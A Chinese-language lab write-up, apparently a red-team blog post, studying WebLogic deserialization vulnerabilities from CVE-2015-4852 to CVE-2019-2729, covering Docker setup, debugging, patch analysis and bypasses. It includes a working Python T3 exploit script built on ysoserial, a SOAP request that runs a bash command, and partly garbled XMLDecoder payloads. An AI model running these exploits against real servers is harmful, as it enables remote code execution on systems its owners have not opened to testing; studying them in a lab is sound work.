weblogic反序列化漏洞学习记录

声明

以下内容,来自由moon_flower作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

环境搭建

链接:

https://github.com/QAXA-Team/WeblogicEnvironment
需要自行下载对应版本的jdk和weblogic放入对应文件夹中

图片

docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 . 
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21

访问

http://localhost:7001/console/login/LoginForm.jsp出现登录页面

新建 middleware 作为用于调试的文件夹
dir ./middleware docker cp weblogic1036jdk7u21:/weblogic/oracle/middleware/modules ./middleware/ docker cp weblogic1036jdk7u21:/weblogic/oracle/middleware/wlserver ./middleware/ docker cp weblogic1036jdk7u21:/weblogic/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib
ShellCopy

然后用IDEA打开,导入wlserver/server/lib(Add as Library),之后设置远程调试端口为8453。打开WLSServletAdapter 类,129行下断点。

图片

访问

http://localhost:7001/wlswsat/CoordinatorPortType ,若成功拦截,则环境配置完毕。

CVE-2015-4852

T3 反序列化漏洞

关于weblogic漏洞所需的基础知识可参考这位dalao的文章:

https://paper.seebug.org/1012/#weblogic_8.

漏洞点在:

weblogic.rjvm.InboundMsgAbbrev#readObject
图片t3协议的数据流会走这个类,关注readObject之后的操作,查看 ServerChannelInputStream 类中的具体方法。
图片漂亮!resolveClass中什么防御都无。其中resolveClass是readObject底层流程要走的函数,shiro反序列化中因为shiro框架对resolveClass进行了重写导致部分CC链打不了。在weblogic后续的补丁中也是对这个方法进行了修改。
图片看一下 weblogic 自带的 CC 链
图片

poc:

from os import popen import struct # 负责大小端的转换  import subprocess from sys import stdout import socket import re import binascii def generatePayload(gadget,cmd):     YSO_PATH = "D:/javaweb/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar"     popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)     return popen.stdout.read() def T3Exploit(ip,port,payload):     sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)     sock.connect((ip,port))     handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"     sock.sendall(handshake.encode())     data = sock.recv(1024)     compile = re.compile("HELO:(.*).0.false")     match = compile.findall(data.decode())     if match:         print("Weblogic: "+"".join(match))     else:         print("Not Weblogic")         return       header = binascii.a2b_hex(b"00000000")     t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")     desflag = binascii.a2b_hex(b"fe010000")     payload = header + t3header  +desflag+  payload     payload = struct.pack(">I",len(payload)) + payload[4:]     sock.send(payload) if __name__ == "__main__":     ip = "172.21.65.112"     port = 7001     gadget = "CommonsCollections1"     cmd = "touch /tmp/CVE-2015-4852"     payload = generatePayload(gadget,cmd)     T3Exploit(ip,port,payload)
PythonCopy

CVE-2016-0638

CVE-2015-4852 修复后的绕过

在补丁p21984589_1036_Generic 中,在ServerCh-annelInputStream的resolveClass中引入ClassFilter.isBlackListed进行过滤,但菜鸡的我没有找到补丁文件。

这里放一张参考文献中dalao的图:

图片

其实之后的t3反序列化就是变着花的绕黑名单了。
补充信息:在Weblogic从流量中的序列化类字节段通过readClassDescreadNonProxyDescresolve

Class获取到普通类序列化数据的类对象后,程序依次尝试调用类对象中的readObject、readResolve、readExternal等方法。

在这里需要找的就是其他类的反序列化方法,其中 weblogic.jms.common.StreamMessageImpl 没在黑名单中,在其中的 readExternal 方法中,new 了一个没有被黑名单过滤的对象,并执行了这个对象的 readObject,造成了二次反序列化。
图片再关注一下这个 var4 是怎么来的
图片然后把流和一个int传入copyPayloadFromStream中
图片流进到了createOneSharedChunk中
图片创建了一个chunk,readExternal 的后续操作就是从中读取数据并进行了反序列化。这里使用工具

https://github.com/5up3rc/weblogic_cmd进行分析IDEA打开工具,配置执行环境,导入tools包(jdk/lib/tool.jar)中,然后打断点。
图片

图片

图片

然后开始debug,经过参数解析后进入blindExecute
图片然后进入到SerialDataGenerator.serialBlindDatas
图片分别跟踪这两个函数实现
图片
图片

拼起来正好是一条CC1。但没完,返回之前还要进入 BypassPayloadSelector.selectBypass ,这一方法用来处理原生链中本应该直接进行反序列化的对象(二次反序列化包装)。
图片在Serializables.serialize中进行序列化
图片然后调用到最终要反序列化的StreamMessageImpl
图片接着send payload 的实现就和上文CVE-2015-4852的poc的实现差不多了,构造t3数据包然后发送。

图片

CVE-2016-3510

CVE-2015-4852的另一种绕过方式这次选用的类是

weblogic.corba.utils.MarshalledObject

其中的readResolve会读取objBytes的值赋给新new的ois,然后将其进行反序列化。
图片在weblogic_cmd的Main函数中修改一下TYPE图片在selectBypass的时候换了一个对象
图片进入到MarshalledObject,之后进行正常的序列化。

CVE-2017-3506

XMLDecoder反序列化,基础知识可参考

https://paper.seebug.org/1012/#weblogic_8,这里先写个demo跟一下XMLDecoder的过程。

poc.xml

calcstring>             
void>         
array>            
object> 
java>

Main.java

import java.beans.XMLDecoder; 
import java.io.*; 
public class Main {     
public static void main(String[] args) throws IOException, InterruptedException {         File file = new File("poc.xml的绝对路径");         XMLDecoder xd = null;         try {             xd = new XMLDecoder(new BufferedInputStream(new FileInputStream(file)));         } catch (Exception e) {             e.printStackTrace();         }         Object s2 = xd.readObject();         
xd.close();     } }

第9行下个断点,跟进XMLDecoder 类,发现这里首先new了一个 DocumentHandler 对象
图片首先对各种标签的解析
图片最后在处调用 getValue,得到类的实例。
图片补上一张@fnmsd给出的XMLDecoder解析xml的流程图解释整个调用过程
图片
然后就是追一下weblogic 是在哪调用XMLDecoder的poc:

POST /wls-wsat/CoordinatorPortType HTTP/1.1 
Host: 172.21.65.112:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; 
Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Length: 824 Accept-Encoding: gzip, deflate SOAPAction: Accept: */* User-Agent: Apache-HttpClient/4.1.1 (java 1.5) Connection: keep-alive Content-Type: text/xml/bin/bashstring>               void>              -cstring>               void>              touch /tmp/CVE-2017-3506string>               void>             array>          void>         java>       work:WorkContext>     soapenv:Header>  soapenv:Envelope>

断点下在WorkContextTube#readHeaderOld 上,然后进入receive中
图片持续跟进到eadUTF中,发现反序列化操作
图片

CVE-2017-10271

CVE-2017-3506 绕过,先看一下官方的补丁

private void validate(InputStream is) {       
WebLogicSAXParserFactory fact
ory = new WebLogicSAXParserFactory();       
try
 {          
SAXParser parser = factory.newSAXParser();          
parser.parse(is, new DefaultHandler()
 {            
 public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {                if(qName.equalsIgnoreCase("object")) {                   throw new IllegalStateException("Invalid context type: object");                }             }          });       } catch (ParserConfigurationException var5) {          throw new IllegalStateException("Parser Exception", var5);       } catch (SAXException var6) {          throw new IllegalStateException("Parser Exception", var6);       } catch (IOException var7) {          throw new IllegalStateException("Parser Exception", var7);       }    }

重点就是这:

if(qName.equalsIgnoreCase("object")) {                  
 throw new IllegalStateException("Invalid context type: object");

标签是object的时候报错,是不很理解为什么这么修,这里把object标签换成 void标签照样可以执行命令。

图片

除了把isArgument从true变成false外全部继承ObjectElementHandler。

CVE-2019-2725

CVE-2017-10271绕过 + 新的反序列化组件

首先看新的_async 中存在的反序列化触发点

(访问路径:/_async/AsyncResponseService)

从接收服务开始的完整解析过程详见

https://www.anquanke.com/post/id/177381,这里只重点关注触发漏洞部分。请求从BaseWSServlet开始,断点下在service方法,一直跟进到run
图片跟进到处理请求的部分,注意这里接收到的信息是以Soap协议解析的
图片

图片解析后的东西放在了var7中,然后跟一下var7的invoke方法
图片在进行soap的初始化后进入dispatch 中,跟进到handleRequest中
图片在WorkContextXmlInputAdapter中调用了XML-Decoder
图片跟进receiveRequest方法中,发现调用了readUTF,剩下的流程接上前面分析的就可以了。
图片关于补丁的绕过,先分析一下补丁代码:

private void validate(InputStream is) {      
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();  
     try {          
     SAXParser parser = factory.newSAXParser();          
     parser.parse(is, new DefaultHandler() {             
     private int overallarraylength = 0;             
     public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {                if(qName.equalsIgnoreCase("object")) {                   
     throw new IllegalStateException("Invalid element qName:object");
              }                   
              else if(qName.equalsIgnoreCase("new")) {   
       throw new IllegalStateException("Invalid element qName:new");                } else if(qName.equalsIgnoreCase("method")) {                   throw new IllegalStateException("Invalid element qName:method");                } else {                   if(qName.equalsIgnoreCase("void")) {                      for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {                          throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));                         }                      }                   }                    if(qName.equalsIgnoreCase("array")) {                      String var9 = attributes.getValue("class");                      if(var9 != null && !var9.equalsIgnoreCase("byte")) {                         throw new IllegalStateException("The value of class attribute is not valid for array element.");                      }

解释一下就是ban掉了object、new、method标签,如果使用void标签,只能有index属性,如果使用array标签,且标签使用的是class属性,则它的值只能是byte。

那么我们需要找一个参数是byte 类型的类尝试反序列化,这里采用的 jdk7u21的那条链。
7u21的命令执行部分是将Templateslmpl对象的 _bytecodes 动态生成为对象,于是该类的static block和构造函数便会自动执行,造成命令执行。

poc (部分):

oracle.toplink.internal.sessions.UnitOfWorkChangeSetstring>-84byte>  
               ...                 ...             
               array>void>class>             
               java>         
               work:WorkContext>     
               soapenv:Header>    
soapenv:Envelope>

CVE-2019-2729

CVE-2019-2725 绕过具体挖掘细节可参考

https://xz.aliyun.com/t/5448,这里给出最后结论.

poc:(jdk1.6可行)

oracle.toplink.internal.sessions.UnitOfWorkChangeSetstring>         
                                  ...                         
                                  array>                     
                                  void>                 
                                  array>             
                                  java>         
                                  work:WorkContext>     
                                  soapenv:Header>    
soapenv:Envelope>

在jdk1.7中, array 标签并不会受理method 属性(没有意义), 但在jdk1.6中的实现方法是:

       } 
       else if (var1 == "array") {            
        var14 = (String)var3.get("class");             
        Class var10 = var14 == null ? Object.class : this.classForName2(var14);            
         var11 = (String)var3.get("length");            
          if (var11 != null) {                 
          var4.setTarget(Array.class);                 
          var4.addArg(var10);                 
          var4.addArg(new Integer(var11));             
          }

它将所有的标签属性进行统一处理,但是又没有进行有效性验证, 所以出现了绕过.

参考

  • http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86/

  • https://www.cnblogs.com/nice0e3/p/14201884.html

  • https://www.cnblogs.com/nice0e3/p/14207435.html

  • https://xz.aliyun.com/t/8443

  • https://www.anquanke.com/post/id/250801

  • https://www.anquanke.com/post/id/251921

  • https://www.cnblogs.com/nice0e3/p/14269444.html

  • https://www.cnblogs.com/nice0e3/p/14275298.html

  • https://www.cnblogs.com/ph4nt0mer/p/11772709.html

  • https://www.anquanke.com/post/id/180725

  • https://www.anquanke.com/post/id/226575

  • https://www.anquanke.com/post/id/177381

  • https://xz.aliyun.com/t/5448

欢迎关注微信公众号:
长白山攻防实验室,定时更新优质文章内容

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值